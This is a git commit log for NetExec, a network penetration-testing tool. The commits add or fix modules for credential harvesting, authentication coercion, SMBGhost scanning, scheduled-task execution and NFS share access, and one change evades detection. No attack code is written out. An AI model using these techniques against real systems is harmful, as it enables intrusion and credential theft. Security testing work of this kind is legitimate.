termanix 627bc5ee18 dns-resolver object change with the nxc/connection.py 2024-11-11 14:48:21 -05:00
termanix bb11d413cd Merge branch 'Pennyw0rth:main' into patch-8 2024-11-11 12:09:00 -05:00
Alexander Neff 801420da75 As the scheduled task now triggers on registration we remove manuel execution because this would try to run the task twice 2024-11-11 11:19:31 -05:00
Alexander Neff 14ccdfc63c Suprress task deletion errors and ensure only one error message is printed 2024-11-11 11:05:35 -05:00
Alexander Neff 33f3f7c449 Remove global variable 2024-11-11 08:59:10 -05:00
Alexander Neff 64f0f78ed3 Remove useless code and formating 2024-11-11 08:38:44 -05:00
Alexander Neff 94c2884c5f Update atexec.py to prevent detectino with hardcoded timestamp 2024-11-10 18:29:18 -05:00
Alexander Neff ab579b3d45 Change Trigger to type RegistrationTrigger and add end boundary to prevent execution after some time if something fails, see #481 2024-11-10 18:26:11 -05:00
termanix a70e3b8c6b removed SERVER_TRUST_ACCOUNT for see rbcd to DCs 2024-11-09 11:27:04 -05:00
termanix ef0ca60c39 mustcommit variable remove 2024-11-08 01:53:22 -05:00
mpgn d9982b486d Merge branch 'main' into hosts_file 2024-11-07 15:24:00 +01:00
Alex 72fee6af49 Merge pull request #405 from 0xQRx/mssql-xp-shell-add-check
Mssql xp_cmdshell added "is enabled" check
2024-11-06 23:25:02 +01:00
Alexander Neff c012e04ecf Add backup&restore options for mssql options, to keep the current state of the mssql config 2024-11-06 16:34:41 -05:00
mpgn e78b05adad Merge branch 'main' into hosts_file 2024-11-06 15:13:02 +01:00
Alex a83c412062 Merge pull request #462 from y0no/smb_add_enum_shares
[SMB] Add --enum-shares options like in NFS protocol
2024-11-06 12:30:38 +01:00
Alexander Neff 92c4f014a6 Add ruff exception for function name "dir" 2024-11-06 06:24:36 -05:00
Alexander Neff fd378f6675 Removing unnecessary check 2024-11-06 06:21:41 -05:00
mpgn d4808ac9e9 check if target is dc 2024-11-04 14:41:43 +01:00
mpgn 864b7aeed3 fix proto help 2024-11-03 22:17:57 +01:00
mpgn c294219b7a add tests 2024-11-03 22:08:51 +01:00
mpgn 841f9d8fd0 add generate_hosts_file option for lab 2024-11-03 22:02:51 +01:00
Kahvi-0xFF bab8acbf4d Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-10-31 19:18:16 -04:00
Kahvi-0xFF dc61428a0e Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-10-31 19:04:16 -04:00
Kahvi-0xFF 9c17cf9bb2 Update schtask_as.py
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-10-31 19:02:50 -04:00
Kahvi-0xFF c66ab1af61 schtask_as.py - Delete task when there is an error
Signed-off-by: Kahvi-0xFF <[email protected]>
2024-10-31 18:42:34 -04:00
termanix 26391a3370 Update variables
Signed-off-by: termanix <[email protected]>
2024-10-28 21:58:53 +02:00
termanix 85600e66b4 Update admin-count parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 21:35:00 +02:00
termanix 2f17bb27b3 Update password-not-required parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:59:43 +02:00
termanix c96b703bd7 Update trusted-for-delegation parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:58:39 +02:00
termanix ec09a5a35b Update query parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:46:35 +02:00
termanix 7b4f5ea65f Update kerberoasting parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:15:12 +02:00
termanix 78063a0308 Update asreproast parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 20:01:11 +02:00
termanix 9889414c2e Update groups parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 19:59:52 +02:00
termanix 415af7e613 Merge branch 'main' into patch-7 2024-10-28 19:13:17 +03:00
termanix 3d186ec434 Update check_if_admin parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-28 18:10:38 +02:00
termanix 92c892fd41 Update dc-list
Signed-off-by: termanix <[email protected]>
2024-10-28 15:57:47 +02:00
Alex 78da498846 Merge pull request #474 from Pennyw0rth/marshall-nfs-status13-fix 2024-10-28 00:23:18 +01:00
Alexander Neff 1b495cd372 Use the status codes defined in the rfc when we have an error with mounting shares 2024-10-23 17:56:57 -04:00
Marshall Hallenbeck 9e6ba5a4c0 fix: check if status is 13 and print out permission denied for share 2024-10-23 15:59:39 -04:00
Alex 3e5d825852 Merge pull request #473 from Pennyw0rth/neff-code-improvements 2024-10-23 11:29:39 +02:00
Alex 6f7c4dbc1a Merge branch 'main' into neff-code-improvements 2024-10-22 22:22:49 +02:00
Alex 110f61bc3b Merge pull request #460 from Pennyw0rth/neff-drop-py-support
Drop support for Python 3.8 and 3.9
2024-10-22 22:22:38 +02:00
Alexander Neff a382fbd492 Execute should always return a string not a list 2024-10-22 15:40:49 -04:00
Alexander Neff b5e9f1f069 Replace False return values with empty list to prevent crashes 2024-10-22 15:34:21 -04:00
Alexander Neff 7f3233008d Replace None/False return values with empty list to prevent crashes 2024-10-22 15:27:23 -04:00
termanix 496ea65394 Updated get_ldap_info with parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-22 21:38:01 +03:00
Alexander Neff 8e421046d1 Remove obsolete code 2024-10-22 11:44:28 -04:00
Alexander Neff 623bfd9fe2 Fix linting 2024-10-22 10:32:34 -04:00
Alexander Neff cc659638c8 Merge branch 'main' into neff-drop-py-support 2024-10-22 10:32:13 -04:00
termanix 4627d0a119 Update for parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-21 22:11:42 +03:00
termanix a1bb4ee0df update ldap_results for now 2024-10-21 22:05:51 +03:00
termanix f4617f6436 removed unused timedelta
Signed-off-by: termanix <[email protected]>
2024-10-21 22:02:05 +03:00
termanix 6e2b050d33 Merge branch 'main' into patch-6 2024-10-21 21:59:29 +03:00
termanix d212ae7c2d Updated as Neff's review
Signed-off-by: termanix <[email protected]>
2024-10-21 21:55:46 +03:00
Alex d6e77d19c6 Merge pull request #470 from Chocapikk/main
FIX `a bytes-like object is required, not str` in `nxc/protocols/smb.py`
2024-10-20 23:28:10 +02:00
Chocapikk 536cede147 Add comment 2024-10-20 19:55:46 +02:00
Chocapikk d4a17c00a0 FIX a bytes-like object is required, not str 2024-10-20 17:08:23 +02:00
y0no 2bf95cc899 Move from --enum-share to --dir 2024-10-19 11:24:38 +02:00
Alex c312367b34 Merge pull request #466 from haytechy/main
Fixed issue with --options flag
2024-10-19 02:27:24 +02:00
Alexander Neff 5b48d68afb Remove unused import 2024-10-18 20:27:09 -04:00
Alexander Neff e2bec64be2 Hotfix if msDS-AllowedToActOnBehalfOfOtherIdentity has an empty security descriptor 2024-10-18 20:21:28 -04:00
Alexander Neff c2fe271738 Fix ldap result parsing minor code improvements 2024-10-18 20:20:27 -04:00
Alexander Neff fa8d5d5299 Merge branch 'main' into find-delegate 2024-10-18 16:57:51 -04:00
haytehcy 5bcf955bb3 Fixed issue with --options flag 2024-10-18 21:02:32 +01:00
termanix 6e59002b6f Edit_ldarp_parser 2024-10-18 16:48:15 +03:00
termanix 5b14c3f999 Used parse_result_attributes for parsing RBCD too
Signed-off-by: termanix <[email protected]>
2024-10-18 16:39:04 +03:00
termanix 29de0ccf34 Used parse_result_attributes for parsing
Signed-off-by: termanix <[email protected]>
2024-10-18 16:26:16 +03:00
Deft_ 6dcc0cf2d3 Create shadowrdp.py
Signed-off-by: Deft_ <[email protected]>
2024-10-17 13:47:32 +02:00
Deft_ f6436fd9ba Create remoteuac.py
Signed-off-by: Deft_ <[email protected]>
2024-10-17 13:33:49 +02:00
Deft_ 899c516a75 Update recyclebin.py
Signed-off-by: Deft_ <[email protected]>
2024-10-16 20:16:36 +02:00
Deft_ bc26a1b222 [SMB] Rework --spider and add recyclebin.py module 2024-10-16 18:21:06 +02:00
y0no c3f10eff87 Add --enum-shares options to SMB protocol 2024-10-16 18:02:13 +02:00
Alexander Neff 46cd610fb0 Update README to support py3.10+ 2024-10-16 07:39:08 -04:00
Alexander Neff 7e90ad2c0f Revert 8485417358 2024-10-16 07:36:33 -04:00
Alexander Neff ed0b03917e Update github workflows 2024-10-16 07:32:33 -04:00
Alexander Neff 6564038d51 Moving the PR template hoping that it now get recognized by gh 2024-10-16 07:29:14 -04:00
Alexander Neff 743a84dbe6 Update dependencies 2024-10-16 07:20:32 -04:00
Alexander Neff 4612df869e Drop python 3.8 and 3.9 support 2024-10-16 07:17:05 -04:00
Alex ae4317c955 Merge pull request #458 from Hackndo/patch-1 2024-10-16 13:05:14 +02:00
Pixis a798bb69c2 Update runasppl.py
`execute()` method of `smb` class returns False if an error occurred.
https://github.com/Pennyw0rth/NetExec/blob/main/nxc/protocols/smb.py#L766

If so, the current code fails as `False` is not iterable.

This fix will check if `p` is not `False` before checking the error message in `p` 

Signed-off-by: Pixis <[email protected]>
2024-10-16 11:25:40 +02:00
Hakan Yavuz bf3973068b add mssql_coerce Module
Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-16 08:48:45 +03:00
Brian Giraldo 991673f095 New module that searches for files that contain aws credentials on windows and linux systems. 2024-10-15 23:24:55 -05:00
Deft_ 821741a789 Update notepad++.py
Signed-off-by: Deft_ <[email protected]>
2024-10-15 20:05:45 +02:00
Deft_ 5a364f7929 Minor code optimization
Signed-off-by: Deft_ <[email protected]>
2024-10-15 20:04:27 +02:00
Deft_ 581d5c600a Remove (little) unecessary code
Signed-off-by: Deft_ <[email protected]>
2024-10-15 20:03:02 +02:00
Deft_ a140c9479c Minor code optimization
Signed-off-by: Deft_ <[email protected]>
2024-10-15 19:59:22 +02:00
Hakan Yavuz e8830121e5 Get Two event with Single RPC call
Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-15 16:39:18 +03:00
Hakan Yavuz 88e02f42cb Update eventlog_creds.py
fix for linter, spaces

Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-15 01:25:24 +03:00
Hakan Yavuz c48ff38dbc Update eventlog_creds.py
add rpc method, 

Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-15 01:15:51 +03:00
Hakan Yavuz efc143224b Create even6_parser.py
Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-15 01:14:59 +03:00
0xQRx 2a724d3cd3 Merge branch 'main' into mssql-xp-shell-add-check 2024-10-13 19:48:37 -04:00
Hakan Yavuz d2ffe24b15 Update eventlog_creds.py
fix for lint

Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-14 01:16:32 +03:00
Hakan Yavuz 57fdac1c93 Update eventlog_creds.py
Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-14 01:02:29 +03:00
Hakan Yavuz 2ebc410cb7 Create eventlog_creds.py
add new module

Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-14 00:50:15 +03:00
Alex 6d4fdfdb2d Merge pull request #448 from Pennyw0rth/v1.3.0
Release v1.3.0
2024-10-13 22:02:56 +02:00
Deft_ 3c197634b2 Delete nxc/modules/recent_files.py (clownface)
Signed-off-by: Deft_ <[email protected]>
2024-10-13 21:52:19 +02:00
Deft_ 26e08ca6a0 Update runasppl.py
Signed-off-by: Deft_ <[email protected]>
2024-10-13 17:27:37 +02:00
Deft_ dadad0e3f8 Create recent_files.py
Signed-off-by: Deft_ <[email protected]>
2024-10-12 20:25:53 +02:00
Deft_ 29329bfee2 Update and rename Notepad++.py to notepad++.py
Signed-off-by: Deft_ <[email protected]>
2024-10-12 19:16:01 +02:00
Deft_ 807e47200d [SMB] Powershell history module rework
Signed-off-by: Deft_ <[email protected]>
2024-10-12 18:46:22 +02:00
Alexander Neff a493c04e14 Release v1.3.0 2024-10-12 10:51:58 -04:00
Alex 485f72043e Merge pull request #446 from Pennyw0rth/fix-windows
Fix windows and encoding stuff
2024-10-12 16:17:58 +02:00
Alex 9e61764282 Merge pull request #447 from Pennyw0rth/neff-fix-loading-modules
Fix module loading for ssh, vnc and ftp
2024-10-12 16:12:16 +02:00
Alexander Neff 8211c33765 Fix module loading for ssh, vnc and ftp 2024-10-12 09:24:18 -04:00
Alex 8485417358 Removing unsupported option in py3.8 2024-10-12 15:07:35 +02:00
Alex c7164b6c3f Formating 2024-10-12 02:29:16 +02:00
Alex e583d5fbed Fix encoding for ldap results 2024-10-12 02:26:25 +02:00
Alex 15f84fd93d Fix encoding errors for log files etc when using non windows characters 2024-10-12 02:24:46 +02:00
Alex c2130aa67f Fix import errors for static binary 2024-10-12 02:23:41 +02:00
Deft_ cc5016f75a [SMB]
Signed-off-by: Deft_ <[email protected]>
2024-10-11 16:55:31 +02:00
Deft_ a804041140 [SMB] Add the --qwinsta and --tasklist options
Signed-off-by: Deft_ <[email protected]>
2024-10-11 16:52:45 +02:00
Deft_ ebb4d3e405 [SMB] Add the
Signed-off-by: Deft_ <[email protected]>
2024-10-11 16:52:04 +02:00
Deft_ f419884249 Create Notepad++.py
Signed-off-by: Deft_ <[email protected]>
2024-10-11 16:47:47 +02:00
Alex 95ac3716d7 Merge pull request #440 from ledrypotato/fix-NFS-get-large-file
Updated the  --get-file method to get large files from NFS shares
2024-10-11 00:07:41 +02:00
Alex c1f7ed3310 Merge branch 'main' into fix-NFS-get-large-file 2024-10-11 00:01:58 +02:00
Alexander Neff a0e0df2394 Remove unused variable 2024-10-10 18:01:04 -04:00
Alexander Neff 94605f18e7 Write pulled data directly to the file instead of caching it 2024-10-10 18:00:52 -04:00
Alex d61eec0146 Merge pull request #442 from Pennyw0rth/neff-improve-coerce_plus
Small fixes for coerce_plus
2024-10-10 23:51:29 +02:00
Alex b59d8238f5 Merge pull request #400 from dazzgt/bugfix/db-interface-error
refactoring to fix InterfaceError of DB
2024-10-10 23:51:04 +02:00
Alexander Neff 83a16b654b Fix PrinterBug detection 2024-10-10 17:40:13 -04:00
Alexander Neff 3ce7b6b37a Readd rpc message to success message 2024-10-10 17:39:58 -04:00
Alexander Neff b81ea6cb3a Simplify code 2024-10-10 15:25:00 -04:00
Alexander Neff a7141ae6f3 Improve handling of rpc errors for dfscoerce 2024-10-10 15:18:09 -04:00
Alex 0da4cf8455 Merge pull request #300 from lodos2005/main
Add coerce_plus Module
2024-10-10 13:24:54 +02:00
Matt Taylor e4a9352379 clean file size + implement EOF file read 2024-10-10 12:27:18 +02:00
termanix 4a47550d94 Update users and active-users ldap.py
Signed-off-by: termanix <[email protected]>
2024-10-09 23:40:02 +03:00
ledrypotato 7a86d0f045 update get-file method to get large files 2024-10-09 16:50:10 +02:00
snowpeacock aa9075e35c fix: override of exec method by default arg 2024-10-07 16:36:00 +02:00
termanix 7db7de4f1e Update ldap.py.
Added processAttributeValue Function
A new helper function was introduced to process the content of LDAP AttributeValue objects.

Updated printTable Function

Resource-Based Constrained Delegation Processing

Added Constant Variables
Constant variables were defined for userAccountControl values.

Modular Code Structure
The overall structure was made more modular; functions were clearly separated for better readability.

Signed-off-by: termanix <[email protected]>
2024-10-07 10:17:21 +03:00
Alexander Neff dadeff939d Fix NFS database to usethe new super class 2024-10-06 15:29:15 -04:00
Alexander Neff a3bc425e9f Fix merging error 2024-10-06 15:28:34 -04:00
Alex c1780a1a26 Merge pull request #411 from Pennyw0rth/neff-improve-login
Increase plaintext&hash login speeds
2024-10-06 21:20:05 +02:00
Alexander Neff 50a5b6b0de Merge branch 'main' into fix-dbs 2024-10-06 13:01:34 -04:00
Alexander Neff a4ad6895c1 Formating 2024-10-06 11:26:50 -04:00
Alex 43da2afa58 Merge pull request #435 from Pennyw0rth/neff-improve-testsuite
Improve test suite
2024-10-05 21:55:40 +02:00
Alexander Neff c1589955fd Add 2 error codes that shows a successful coercion 2024-10-05 12:21:59 -04:00
Alexander Neff 5a0f1a5a6a Change help message from NFS to get in line with other protocols 2024-10-05 09:18:15 -04:00
Alexander Neff 0dcfc7399b Add an option to show commands that produced no output as "not tested" 2024-10-04 17:07:28 -04:00
Alexander Neff 567b2bf7cc Fix spelling which prevented commands to be run by the test suite 2024-10-04 17:06:51 -04:00
Alexander Neff ed0187391c Remove domain from not implemented plaintext login to fix protocols with no auth and no domain 2024-10-04 17:06:26 -04:00
Alex 092a14f1fe Merge pull request #434 from Pennyw0rth/neff-fix-pwned-label
Fix pwned label when brute forcing with guest account enabled
2024-10-04 22:55:00 +02:00
Alexander Neff 6fa13820dc Fix pwned label when brute forcing with guest account enabled 2024-10-04 16:22:37 -04:00
Alexander Neff 85b2b6e084 Add --use-kcache to commands that require a new conn object 2024-10-04 16:11:02 -04:00
Alex 754ca2d423 Merge pull request #404 from tiyeuse/main
Add file write check on smb
2024-10-04 17:43:00 +02:00
Alexander Neff f17a61f531 Change write privs of a share to True if we can either create a file OR a directory 2024-10-04 11:34:52 -04:00
Alex e1c66357d6 Merge pull request #433 from Pennyw0rth/neff-fix-database-creation
Fix a bug with the databases when a new protocol is added
2024-10-04 17:13:28 +02:00
Alexander Neff c2dfa67c6c Fix a bug with the databases when a new protocol is added 2024-10-04 10:58:59 -04:00
Alex 27313a00b6 Merge pull request #366 from termanix/NFS-Protocol
New Protocol NFS
2024-10-03 16:10:55 +02:00
Alexander Neff 90cc0e57d7 Formating 2024-10-02 17:56:27 -04:00
Pavel Redyukov 7729139d10 Merge branch 'main' into bugfix/db-interface-error 2024-10-02 14:10:26 +03:00
termanix 41681ee1cb Fixed put-file
Signed-off-by: termanix <[email protected]>
2024-10-02 13:43:42 +03:00
termanix bbb9d15e66 e2e editted
Signed-off-by: termanix <[email protected]>
2024-10-02 09:11:42 +03:00
Alexander Neff 4ea4b5f961 Merge "main" into "NFS-Protocol" 2024-10-01 18:14:44 -04:00
Alexander Neff 998b8787a6 Change arg help 2024-10-01 17:59:24 -04:00
Alexander Neff b5f9e131ee Add error handling for upload, fix permissions for upload and fix upload for windows 2024-10-01 17:43:45 -04:00
Alexander Neff f396ff0b66 Simplify code 2024-10-01 16:39:07 -04:00
termanix 1eafa319bc fixed and done get-file for windows and linux
Signed-off-by: termanix <[email protected]>
2024-10-01 17:30:14 +03:00
Alexander Neff c1308e6186 Fix local file name 2024-09-30 19:04:33 -04:00
Alexander Neff e737dd6aca Remove unused function, fix uid detection, add comments and simplify code 2024-09-30 18:50:58 -04:00
Alexander Neff 555347752a Fix bug with uid and uid autodetection 2024-09-30 18:49:33 -04:00
termanix f95b9354b7 Renamed get file dispay name
Signed-off-by: termanix <[email protected]>
2024-09-30 23:06:45 +03:00
termanix 74d7d07b1f import os for downloaded files
Signed-off-by: termanix <[email protected]>
2024-09-30 23:00:00 +03:00
termanix fbfbcc3baa added get, puf file flags
Signed-off-by: termanix <[email protected]>
2024-09-30 22:53:49 +03:00
termanix 79ecfa8a4d uid-brute removed. Added get-file and put-file
Signed-off-by: termanix <[email protected]>
2024-09-30 22:52:24 +03:00
termanix 4ae6c195f0 Fixed --enum-shares UID bug and removed uid-brute on proto-args 2024-09-30 09:30:41 +03:00
Alexander Neff 62b535ea50 Rename Reachable Networks to Access List 2024-09-29 18:55:55 -04:00
Alexander Neff 84aa78898b Implementing UID autodetection, making the uid flag redundant 2024-09-29 18:43:06 -04:00
Alexander Neff 8c5b3617e8 Fix bug for insufficient permissions, remove unnecessary code and formating 2024-09-29 18:17:02 -04:00
termanix 9031589f0d Changed enum-shares default depth to 3 from 1
Signed-off-by: termanix <[email protected]>
2024-09-29 15:39:49 +03:00
termanix a877047ba2 all feature flags done with output
Signed-off-by: termanix <[email protected]>
2024-09-29 15:38:28 +03:00
Alexander Neff 6f24858dc0 Fix indents 2024-09-29 07:09:44 -04:00
Alexander Neff 1a38a288df Add share usage 2024-09-29 07:05:00 -04:00
Alex aef2675cee Merge pull request #406 from Pennyw0rth/neff-fix-mssql-log
Fix file logging for display messages
2024-09-28 23:02:57 +02:00
Alexander Neff b48f6945ae Added uid proto arg and rwx permission check for enum_shares 2024-09-28 16:59:39 -04:00
Alexander Neff 4cd46c7fd9 Separate enum_shares and uid_brute 2024-09-28 15:53:09 -04:00
Alexander Neff fadce581ef Improve code 2024-09-28 15:40:41 -04:00
Alexander Neff 1e624d8606 Add share permission enumeration 2024-09-28 15:40:28 -04:00
Alexander Neff c23db63b97 Add connection timeout option 2024-09-28 12:17:09 -04:00
Alexander Neff 6b5eb1a240 Remove plaintext_login as there is no such thing in NFS3 2024-09-28 11:57:28 -04:00
Alexander Neff e9ed46b6e0 Correct port description 2024-09-28 11:57:01 -04:00
Alexander Neff f05601f645 Use init as create_conn_obj function and improve code structure 2024-09-28 11:56:46 -04:00
Alexander Neff 8c39962dba Add generel disconnect instruction to be implemented by protocols 2024-09-28 11:47:11 -04:00
Alexander Neff ff194d3e0b Remove hardcoded nxc_path 2024-09-28 07:29:05 -04:00
Alexander Neff f47ebb3356 Add file&line number to debug file log 2024-09-28 07:13:02 -04:00
Joachim De Bats 9aca9c246a WDS module 2024-09-26 16:42:24 +02:00
Alex 04a695ff93 Merge pull request #341 from 357384n/main
Add new SMB module to get the PowerShell history on all the users
2024-09-25 00:38:38 +02:00
Alex ac2dfc95e7 Merge pull request #422 from Pennyw0rth/neff-fix-maq
Fix maq module if MAQ not set
2024-09-24 23:56:22 +02:00
Pavel Redyukov 3b1eac7be5 refactoring to fix InterfaceError of DB 2024-09-23 15:21:48 +03:00
termanix ad1b421422 Fixed spam output while uid bruteforce
Signed-off-by: termanix <[email protected]>
2024-09-23 12:57:54 +03:00
Alexander Neff d89709feac Update PyNfsClient 2024-09-22 19:34:35 -04:00
Alexander Neff 045f2c291b Fix recursion depth 2024-09-22 19:28:28 -04:00
Alexander Neff f191f780a3 Renaming, simplifying code and adad recursion depth to share listing 2024-09-22 19:27:59 -04:00
Alexander Neff 78a270b57b Switch pynfsclient to our fork 2024-09-22 16:37:55 -04:00
Alexander Neff ee549ccae7 Add ipv6 message and formating 2024-09-21 12:46:59 -04:00
Alexander Neff e1ecf90a78 Formating 2024-09-21 12:04:55 -04:00
Alexander Neff 4e855f811f Properly add pynfsclient dependency 2024-09-21 12:04:39 -04:00
Alexander Neff 31b909b97d Check if there is a history before saving 2024-09-21 09:11:29 -04:00
Alexander Neff 5da577f5c3 Optimise export code 2024-09-21 09:06:13 -04:00
Alexander Neff bb95e0faa4 Add "passw" as keyword 2024-09-21 08:55:02 -04:00
Alexander Neff 1b4081e54c Simplify code and formatting 2024-09-21 08:54:09 -04:00
Alex 99d4e49ac1 Merge pull request #423 from Pennyw0rth/neff-patch-1 2024-09-20 09:27:08 +02:00
Alexander Neff d52a651bd4 Fix logger protocol when using --no-smb 2024-09-19 17:27:56 -04:00
Alexander Neff 6dbf14b87f Fix maq module if ms-DS-MachineAccountQuota is not set 2024-09-19 16:55:35 -04:00
Alexander Neff cea324c97b Fix escape sequence 2024-09-19 16:40:04 -04:00
Alex bb2f3ec13a Merge pull request #418 from a-urth/main
Encode delegate/impersonate user name string as utf8 unicode, not latin1
2024-09-18 23:37:57 +02:00
Alex 2eebb7c513 Merge pull request #417 from jsherwood0/make_version_arg_universal
Make --version switch universal so help2man will work properly
2024-09-18 23:25:42 +02:00
au 0dbea8e8a3 encode string as utf8 unicode, not latin1 2024-09-14 14:33:06 +03:00
root@devkali 9153779671 Make --version switch universal so help2man will work properly 2024-09-13 17:11:42 -04:00
deathflamingo 6477771cfe Merge pull request #1 from deathflamingo/deathflamingo-mssql-modules-1
Added new modules for mssql- namely enum_impersonate, enum_logins,, enum_links, exec_on_link, link_enable_xp, link_xpcmd
2024-09-11 15:15:42 +05:30
deathflamingo 87199f6e5c Add files via upload
Signed-off-by: deathflamingo <[email protected]>
2024-09-11 15:10:33 +05:30
termanix 509f6d1373 Update ldap.py ruff fix
Signed-off-by: termanix <[email protected]>
2024-09-05 12:38:57 +03:00
termanix a9181f469d Update ldap.py for find delegation
Added try except on header

Signed-off-by: termanix <[email protected]>
2024-09-05 12:32:23 +03:00
Alex e927f33f2b Merge pull request #407 from r4vanan/main
Smbghost scanning module
2024-09-03 01:19:44 +02:00
Alexander Neff 6e5929175c Make description more precise 2024-09-02 18:52:56 -04:00
Alexander Neff ea9acdcb40 Fix ruff linting 2024-09-02 16:51:43 -04:00
Alex 7657f9603a Merge pull request #342 from Kahvi-0/main
schtask_as Improvement - Options for custom task, file, and location.
2024-09-02 00:44:56 +02:00
Alexander Neff 0175be7b08 Added example path and os.path.join for flexibility 2024-09-01 18:38:56 -04:00
Alex 9cc44f65e7 Merge pull request #306 from jubeaz/module_wcc_add_defender
Module wcc added some defender checks
2024-09-01 21:45:09 +02:00
Vinoth Kumar 2744a2c4ed Merge branch 'Pennyw0rth:main' into main 2024-09-01 20:18:27 +05:30
Vinoth Kumar b771c28b51 removed unwanted code
Signed-off-by: Vinoth Kumar <[email protected]>
2024-09-01 20:17:54 +05:30
Alexander Neff 7070305e6c Add faster login for kerberos 2024-09-01 07:28:30 -04:00
Alexander Neff cafa670113 Create new connection object if we want to log in 2024-09-01 07:28:02 -04:00
Alex e14be335c3 Merge pull request #393 from Pennyw0rth/neff-fix-kerberos
Fix issues with kerberos and non NTLM domains
2024-09-01 12:44:29 +02:00
Vinoth Kumar 3fd8598389 Merge branch 'Pennyw0rth:main' into main 2024-08-31 09:54:11 +05:30
Alexander Neff 425ad8ea23 Remove unnecessary new line 2024-08-30 14:18:14 -04:00
Alex 45a9121bb1 Merge pull request #328 from Shad0wC0ntr0ller/pre2k
Identify Pre-Created Computer Accounts
2024-08-30 20:09:18 +02:00
Alexander Neff e4b7ea64eb Increase plaintext&hash login speeds, also only evaluate smbv1 at initialisaion 2024-08-29 18:58:06 -04:00
Alex 9bc05e55ee Merge pull request #394 from Pennyw0rth/neff-workflows
Updated github workflows
2024-08-29 14:26:25 +02:00
Alexander Neff 0034048da4 Simplify code 2024-08-28 17:34:56 -04:00
Alex e7acdc78e1 Merge pull request #409 from cauan/patch-2
ldap-checker.py Catch connection errors
2024-08-27 23:59:12 +02:00
Alexander Neff 35b4c4c63d Fix logging and improve reason text 2024-08-27 17:55:07 -04:00
Alexander Neff dfb28184a8 Improve config text 2024-08-27 17:54:49 -04:00
Alexander Neff 4a776651c1 Formating 2024-08-27 17:35:59 -04:00
Alexander Neff 1c19cbe836 Integrate new registry checks into existing code 2024-08-27 17:35:42 -04:00
Alex 62496a3863 Merge pull request #408 from cauan/patch-1
ldap-checker.py false positive fixed
2024-08-27 22:02:55 +02:00
Cauan 4a0f0381a6 Update ldap-checker.py
Changed catch all exception as suggesteed.

Signed-off-by: Cauan <[email protected]>
2024-08-27 14:32:41 +10:00
Cauan 34ac854a3c ldap-checker.py Catch connection errors
Socket connection moved into the try/catch to catch connection errors.

Signed-off-by: Cauan <[email protected]>
2024-08-26 22:10:46 +10:00
Cauan 2de896cb49 ldap-checker.py false positive fixed
run_ldap return code changed from False to None when errors are found to avoid false positives such as when connection fails.

Signed-off-by: Cauan <[email protected]>
2024-08-26 21:59:10 +10:00
Vinoth Kumar 821f20e114 Merge branch 'main' into main 2024-08-26 09:16:34 +05:30
Alexander Neff 43c1d33904 Replaced DEPRECATED with REMOVED 2024-08-25 13:36:16 -04:00
Alexander Neff 24ad5e63e2 Readd old coercion modules for deprecation warning 2024-08-25 13:34:26 -04:00
Alexander Neff 2ac0d4d543 Merge "main" into "coerce_plus" 2024-08-25 13:17:38 -04:00
Alexander Neff 4ac77486d0 Formating 2024-08-25 13:12:15 -04:00
Alexander Neff 2419d2d4d8 Fix MSEven pipe and add ports 2024-08-25 13:09:21 -04:00
Alex f9d3caab63 Merge pull request #399 from Pennyw0rth/NeffIsBack-patch-1
Add Unix availability to README.md
2024-08-25 16:28:24 +02:00
Vinoth Kumar 0cc6151a0b Smbghost module
Module to scan for SMBGhost (CVE-2020-0796) Vulnerability

Signed-off-by: Vinoth Kumar <[email protected]>
2024-08-25 19:45:57 +05:30
Alexander Neff cd9e1adcfd Delete log level filter for file logging 2024-08-25 09:46:12 -04:00
0xQRx a8954f1f32 Restore removed comment.
Signed-off-by: 0xQRx <[email protected]>
2024-08-24 18:52:46 -04:00
0xQRx 363691aa4f added is_xp_cmdshell_enabled() function to check mssql if xp_cmdshell is already enabled, to avoid altering its state 2024-08-24 18:09:12 -04:00
wil 675480c5ca Add file write check on smb 2024-08-24 19:45:52 +02:00
Alexander Neff ee9409a387 Revert 0ca3c43 as this stops some messages from getting logged to file 2024-08-24 08:50:48 -04:00
Alexander Neff f9799496ac Change README 2024-08-24 07:59:47 -04:00
Alex 83514bf2a9 Merge pull request #374 from joaovarelas/main
Add module to lookup hostname of Hyper-V host - 'hyperv-host.py'
2024-08-24 13:37:47 +02:00
Alexander Neff b9d788b8d4 Change Exception to DCERPCException and added debug log 2024-08-15 13:36:50 -04:00
joaovarelas b59f252363 Merge branch 'Pennyw0rth:main' into main 2024-08-11 11:12:32 +01:00
Alex db4c2fad2b Add Unix availability to README.md
Signed-off-by: Alex <[email protected]>
2024-08-10 23:21:28 +02:00
Alexander Neff 375611cfd5 Add another success rpc error message 2024-08-04 19:02:04 -04:00
Alexander Neff 96bff4e3aa Added ERROR_BAD_NETPATH to the positiv result list 2024-08-04 18:41:54 -04:00
Alexander Neff d82ee41d5b Remove auth_level as this breaks the coercion 2024-08-04 18:41:27 -04:00
Alexander Neff af4a28d9b9 Enable manual linting runs for first time PRs 2024-08-04 16:47:56 -04:00
Alexander Neff 5810d14038 Updated pipeline to latest versions 2024-08-04 16:47:41 -04:00
Alex 739791e33b Merge pull request #392 from Pennyw0rth/neff-fix-spider_plus
Fix spider_plus bug where len was applied to the count not an array
2024-08-04 22:38:27 +02:00
Alex e982a68b44 Merge pull request #386 from Pennyw0rth/neff-sccm
Adding SCCM LDAP Reconnaissance to NetExec
2024-08-03 19:06:09 +02:00
Alexander Neff 66da98c318 Fix laps login with kerberos 2024-08-03 10:01:55 -04:00
